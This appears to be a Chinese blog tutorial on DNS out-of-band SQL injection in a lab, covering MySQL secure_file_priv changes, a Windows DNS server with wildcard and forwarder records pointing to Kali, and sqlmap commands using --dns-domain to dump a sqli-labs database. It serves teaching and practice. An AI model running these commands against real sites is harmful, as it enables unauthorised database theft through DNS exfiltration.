• DNS外带注入


    修改mysql的secure_file_priv属性

    在我们进入MySQL进行查找的时候,他的值是为null,
    在这里插入图片描述
    所以需要对他进行修改,在配置文件my.ini中进行配置文件的修改。
    在这里插入图片描述
    然后以txt的形式将他打开,然后添加一句secure_file_priv=""的记录在mysqldb模块中。
    在这里插入图片描述
    在这里插入图片描述
    修改好后重新启动mysql,然后再次查看,可以看到它的值变成这样就可以了。
    在这里插入图片描述

    配置dns服务器

    1.添加角色:右键角色,选择添加角色

    在这里插入图片描述
    然后根据弹出来的页面选择下一步

    在这里插入图片描述
    然后勾选DNS服务器,(因为我安装了一个,所以这个我选的别的进行的演示。),然后点击下一步。
    在这里插入图片描述
    弹窗出来后选择仍要安装DHCP服务器,然后下一步。
    在这里插入图片描述
    后面的弹窗也是一直下一步,直到安装可以按了之后,点击安装就可以了。

    2.添加正向查找

    选中WIN-GNN1,然后选择正向查找区域,右键,选择新建区域。
    在这里插入图片描述
    然后跳出弹唱就直接选择下一步,就可以,然后默认它的选项选择主要区域,然后点击下一步。
    在这里插入图片描述
    然后建立一个区域名称,这里就随便写就可以了。
    在这里插入图片描述
    默认选项,选择下一步
    在这里插入图片描述
    默认选项,选择下一步
    在这里插入图片描述
    点击完成就可以了。
    在这里插入图片描述
    这样正向查找区域就创建成功了。
    在这里插入图片描述

    3.正向查找建立完毕之后,要对一些配置进行修改。

    右键WIN哪个,然后点击属性。
    在这里插入图片描述
    选择高级,在高级中的服务器选项中有一个禁用递归,如果是勾上的一定要取消,因为服务器就是需要递归来进行转发的,如果勾上了也转发不了了。
    在这里插入图片描述
    在监视中,将简答查询和递归查询都是要勾上的,一定要使用到递归查询。
    在这里插入图片描述
    其余的就先不用管了。

    4.新建主机

    选择刚刚建好的区域名称,然后右键之后,选择新建主机。
    在这里插入图片描述
    填写主机名称和IP,名称就写的是ns,IP地址为你sqlmap所在虚机的ip地址。
    在这里插入图片描述
    在创建一个泛解析,ip地址依旧是和刚刚那个一样。
    在这里插入图片描述
    添加主机之后就创建完成了,然后把win11的虚拟机的dns服务修改为刚刚配置的服务器的ip地址。
    在这里插入图片描述
    然后使用win11的虚拟机取ping刚刚在服务端设置的域名,
    并且在kali中输入tcpdump -n port 53;查看信息返回。
    在这里插入图片描述
    并且可以看到kali中是有返回信息的。
    在这里插入图片描述

    5.创建条件转发器

    选择条件转发器,然后右键,新建一个条件转发器。
    在这里插入图片描述
    DNS域的域名可以随便写,但是就不要写和刚刚那个相同的就行。IP地址是匹配的kali的IP地址。
    在这里插入图片描述
    然后在win11上ping刚刚设置的转发IP就可以了,在kali中观察是否收到了日志。

    SQLMap使用外带dns注入。

    1.取到数据库

    注入并查找到库民
    sqlmap -u "http://172.16.10.130:8080/sqli-labs-master/Less-8?id=1" --technique=T --dns-domain "nanhang.top" -D security --tables
    
    • 1

    在这里插入图片描述

    获取到数据表
    sqlmap -u "http://172.16.10.130:8080/sqli-labs-master/Less-8?id=1" --technique=T --dns-domain "nanhang.top" -D "security" --tables 
    
    • 1

    在这里插入图片描述

    获取user表中的列
    sqlmap -u "http://172.16.10.130:8080/sqli-labs-master/Less-8?id=1" --technique=T --dns-domain "nanhang.top" -D "security" -t "users" --columns
    
    
    • 1
    • 2

    在这里插入图片描述

  • 相关阅读:
    iframe内的通信(桥接方法),使用postMessage和使用自定义事件
    Go的接口,闭包,异常捕获
    前端环境 本机可切换node多版本 问题源头是node使用的高版本
    基于Php+Mysql+html学生信息管理系统【含实训报告】
    基于Python flask 的豆瓣电影评分可视化,豆瓣电影评分预测系统
    论文阅读——BERT
    四种应用层协议——MQTT、CoAP、WebSockets和HTTP——在工业物联网监控系统中的性能比较
    Vue的生命周期
    Vue——vue-particles粒子背景
    空指针异常处理
  • 原文地址:https://blog.csdn.net/lml_0916/article/details/126170924